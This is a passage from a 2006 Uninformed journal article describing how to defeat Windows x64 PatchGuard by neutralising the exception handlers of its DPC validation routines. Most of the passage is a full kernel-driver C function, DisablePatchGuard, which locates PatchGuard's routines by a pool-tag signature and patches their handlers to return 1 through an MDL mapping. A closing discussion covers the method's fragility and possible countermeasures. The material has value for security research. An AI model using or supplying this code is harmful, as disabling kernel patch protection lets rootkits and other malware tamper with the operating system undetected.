Uninformed: Informative Information for the Uninformed

Vol 3» 2006.Jan


Exception Handler Hooking

Since it is known that the validation routines indirectly depend on the exception handlers associated with the three timer DPC routines to run code, it stands to reason that it may be possible to change the behavior of each exception handler to simply become a no-operation. This would mean that once the DPC routine executes and triggers the general protection fault, the exception handler will get called and will simply perform no operation rather than doing the validation checks. This approach has been tested and has been confirmed to work on the current implementation of PatchGuard.

The approach taken to accomplish this is to first find the list of routines that are known to be associated with PatchGuard. As it stands today, the list only contains three functions, but it may be the case that the list will change in the future. After locating the array of routines, each routine's exception handler must be extracted and then subsequently patched to return 0x1 and then return. An example function that implements this algorithm can be found below:

static CHAR CurrentFakePoolTagArray[] =
    "AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc";

NTSTATUS DisablePatchGuard() {
    UNICODE_STRING SymbolName;
    NTSTATUS       Status = STATUS_SUCCESS;
    PVOID *        DpcRoutines = NULL;
    PCHAR          NtBaseAddress = NULL;
    ULONG          Offset;

    RtlInitUnicodeString(
            &SymbolName,
            L"__C_specific_handler");

    do
    {
        //
        // Get the base address of nt
        //
        if (!RtlPcToFileHeader(
                MmGetSystemRoutineAddress(&SymbolName),
                (PCHAR *)&NtBaseAddress))
        {
            Status = STATUS_INVALID_IMAGE_FORMAT;
            break;
        }

        //
        // Search the image to find the first occurrence of:
        //
        //    "AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc"
        //
        // This is the fake tag pool array that is used to allocate protection
        // contexts.
        //
        __try
        {
            for (Offset = 0;
                 !DpcRoutines;
                 Offset += 4)
            {
                //
                // If we find a match for the fake pool tag array, the DPC routine
                // addresses will immediately follow.
                //
                if (memcmp(
                        NtBaseAddress + Offset,
                        CurrentFakePoolTagArray,
                        sizeof(CurrentFakePoolTagArray) - 1) == 0)
                    DpcRoutines = (PVOID *)(NtBaseAddress +
                            Offset + sizeof(CurrentFakePoolTagArray) + 3);
            }

        } __except(EXCEPTION_EXECUTE_HANDLER)
        {
            //
            // If an exception occurs, we failed to find it.  Time to bail out.
            //
            Status = GetExceptionCode();
            break;
        }

        DebugPrint(("DPC routine array found at %p.",
                DpcRoutines));

        //
        // Walk the DPC routine array.
        //
        for (Offset = 0;
             DpcRoutines[Offset] && NT_SUCCESS(Status);
             Offset++)
        {
            PRUNTIME_FUNCTION Function;
            ULONG64           ImageBase;
            PCHAR             UnwindBuffer;
            UCHAR             CodeCount;
            ULONG             HandlerOffset;
            PCHAR             HandlerAddress;
            PVOID             LockedAddress;
            PMDL              Mdl;

            //
            // If we find no function entry, then go on to the next entry.
            //
            if ((!(Function = RtlLookupFunctionEntry(
                    (ULONG64)DpcRoutines[Offset],
                    &ImageBase,
                    NULL))) ||
                (!Function->UnwindData))
            {
                Status = STATUS_INVALID_IMAGE_FORMAT;
                continue;
            }

            //
            // Grab the unwind exception handler address if we're able to find one.
            //
            UnwindBuffer  = (PCHAR)(ImageBase + Function->UnwindData);
            CodeCount     = UnwindBuffer[2];

            //
            // The handler offset is found within the unwind data that is specific
            // to the language in question.  Specifically, it's +0x10 bytes into
            // the structure not including the UNWIND_INFO structure itself and any
            // embedded codes (including padding).  The calculation below accounts
            // for all these and padding.
            //
            HandlerOffset = *(PULONG)((ULONG64)(UnwindBuffer + 3 + (CodeCount * 2) + 20) & ~3);

            //
            // Calculate the full address of the handler to patch.
            //
            HandlerAddress = (PCHAR)(ImageBase + HandlerOffset);

            DebugPrint(("Exception handler for %p found at %p (unwind %p).",
                    DpcRoutines[Offset],
                    HandlerAddress,
                    UnwindBuffer));

            //
            // Finally, patch the routine to simply return with 1.  We'll patch
            // with:
            //
            // 6A01 push byte 0x1
            // 58   pop eax
            // C3   ret
            //

            //
            // Allocate a memory descriptor for the handler's address.
            //
            if (!(Mdl = MmCreateMdl(
                    NULL,
                    (PVOID)HandlerAddress,
                    4)))
            {
                Status = STATUS_INSUFFICIENT_RESOURCES;
                continue;
            }

            //
            // Construct the Mdl and map the pages for kernel-mode access.
            //
            MmBuildMdlForNonPagedPool(
                    Mdl);

            if (!(LockedAddress = MmMapLockedPages(
                    Mdl,
                    KernelMode)))
            {
                IoFreeMdl(
                        Mdl);

                Status = STATUS_ACCESS_VIOLATION;
                continue;
            }

            //
            // Interlocked exchange the instructions we're overwriting with.
            //
            InterlockedExchange(
                    (PLONG)LockedAddress,
                    0xc358016a);

            //
            // Unmap and destroy the MDL
            //
            MmUnmapLockedPages(
                    LockedAddress,
                    Mdl);

            IoFreeMdl(
                    Mdl);
        }

    } while (0);

    return Status;
}

The benefits of this approach include the fact that it is small and relatively simplistic. It is also quite fault tolerant in the event that something changes. However, some of the cons include the fact that it depends on the pool tag array being situated immediately prior to the array of DPC routine addresses and it furthermore depends on the pool tag array being a fixed value. It's perfectly within the realm of possibility that Microsoft will eliminate this assumption in the future. For these reasons, it would be better to not use this approach in a production driver, but it is at least suitable enough for a demonstration.

In order for Microsoft to break this approach they would have to make some of the assumptions made by it unreliable. For instance, the array of DPC routines could be moved to a location that is not immediately after the array of pool tags. This would mean that the routine would have to hardcode or otherwise derive the array of DPC routines used by PatchGuard. Another option would be to split the pool tag array out such that it isn't a condensed string that can be easily searched for. In reality, the relative level of complexities involved in preventing this approach from being reliable to implement are quite small.